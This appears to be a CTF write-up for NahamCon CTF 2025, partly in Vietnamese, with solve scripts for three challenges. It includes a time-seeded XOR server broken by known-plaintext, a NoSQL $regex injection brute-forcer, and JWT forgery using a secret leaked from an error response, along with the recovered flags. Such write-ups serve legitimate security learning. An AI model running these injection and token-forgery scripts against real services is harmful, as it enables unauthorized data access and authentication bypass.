NahamconCTF CTF 2025

Crypto lock

#!/usr/bin/env python3
import socket
import threading
import time
import random
import os
from typing import Optional

def encrypt(data: bytes, key: bytes) -> bytes:
    """Encrypt data using XOR with the given key."""
    return bytes(a ^ b for a, b in zip(data, key))

def generate_key(length: int, seed: Optional[float] = None) -> bytes:
    """Generate a random key of given length using the provided seed."""
    if seed is not None:
        random.seed(int(seed))
    return bytes(random.randint(0, 255) for _ in range(length))

def handle_client(client_socket: socket.socket):
    """Handle individual client connections."""
    try:
        with open('flag.txt', 'rb') as f:
            flag = f.read().strip()
        
        current_time = int(time.time())
        key = generate_key(len(flag), current_time)
        
        encrypted_flag = encrypt(flag, key)
        
        welcome_msg = b"Welcome to Cryptoclock!\n"
        welcome_msg += b"The encrypted flag is: " + encrypted_flag.hex().encode() + b"\n"
        welcome_msg += b"Enter text to encrypt (or 'quit' to exit):\n"
        client_socket.send(welcome_msg)
        
        while True:
            data = client_socket.recv(1024).strip()
            if not data:
                break
                
            if data.lower() == b'quit':
                break
                
            key = generate_key(len(data), current_time)
            encrypted_data = encrypt(data, key)
            
            response = b"Encrypted: " + encrypted_data.hex().encode() + b"\n"
            client_socket.send(response)
            
    except Exception as e:
        print(f"Error handling client: {e}")
    finally:
        client_socket.close()

def main():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    server.bind(('0.0.0.0', 1337))
    server.listen(5)
    
    print("Server started on port 1337...")
    
    try:
        while True:
            client_socket, addr = server.accept()
            print(f"Accepted connection from {addr}")
            client_thread = threading.Thread(target=handle_client, args=(client_socket,))
            client_thread.start()
    except KeyboardInterrupt:
        print("\nShutting down server...")
    finally:
        server.close()

if __name__ == "__main__":
    main() 

solve

#!/usr/bin/env python3
import socket

def xor(a, b): return bytes(x ^ y for x, y in zip(a, b))

def solve():
    with socket.create_connection(('127.0.0.1', 1337)) as s:
        res = s.recv(4096).decode()
        enc_flag = bytes.fromhex([l for l in res.split('\n') if 'flag' in l][0].split(': ')[1])
        
        pt = b'A' * len(enc_flag)
        s.send(pt + b'\n')
        enc = bytes.fromhex(s.recv(1024).decode().split('Encrypted: ')[1])

        key = xor(pt, enc)
        print(xor(enc_flag, key).decode())

if __name__ == "__main__":
    solve()

flag{0e42ba180089ce6e3bb50e52587d3724}

NoSequel

Example Queries
This example query will NOTwork on the Movies collection, but WILL work on the Flags collection.

title: Inception {"year": {"$gt": 1990}} title: {$regex: "The"}

Ta có thể dùng $regex để query flag vì vậy mình sẽ brute-force trong list = 'abcdef1234567890{}' này

import requests

list = 'abcdef1234567890{}'
url = 'http://challenge.nahamcon.com:30990'
flag = 'flag{'

while not flag.endswith('}'):
    for l in list:
        data = {
            'collection': 'flags',
            'query': 'flag:{"$regex":"^' + flag + l + '"}'
        }
        re = requests.post(url + '/search', data=data)
        if 'Pattern matched' in re.text:
            flag += l
            print(flag)
            break

flag{4cb8649d9ecb0ec59d1784263602e686}

Infinite Queue

Bài này yêu cầu mình mua 1 ticket nhưng phải chờ rất lâu (~ 195.000 giờ). Sau 1 hồi tìm kiếm mình thấy có thể leak được secret từ /check_queue và dùng token : garbage

import jwt
import requests
from datetime import datetime, timedelta

url = 'http://challenge.nahamcon.com:31562'

jwt_request = url + '/join_queue'
email       = {'user_id':'test@test.com'}

get_secret   = url + '/check_queue'
garbage_val  = {'token':'garbage_value'}

r1       = requests.post(jwt_request, data=email)
data     = r1.json()
token    = data.get('token')

r2       = requests.post(get_secret, data=garbage_val)
data2    = r2.json()
secret   = data2['error_details']['environment'].get('JWT_SECRET')

decode   = jwt.decode(token, secret, algorithms=["HS256"])

gmt_time     = datetime.utcnow()                 
just_one_min = gmt_time + timedelta(minutes=1)   

unix_timestamp = int(just_one_min.timestamp())

decode['queue_time'] = float(unix_timestamp)

# Get Flag
get_flag  = url + '/purchase?html=true'
new_token = jwt.encode(decode, secret, algorithm="HS256")
flag_req  = {'token':new_token}

flag = requests.post(get_flag, data=flag_req)
print(f"\n[*] Flag: {flag.json().get('flag')}")

flag{b1bd4795215a7b81699487cc7e32d936}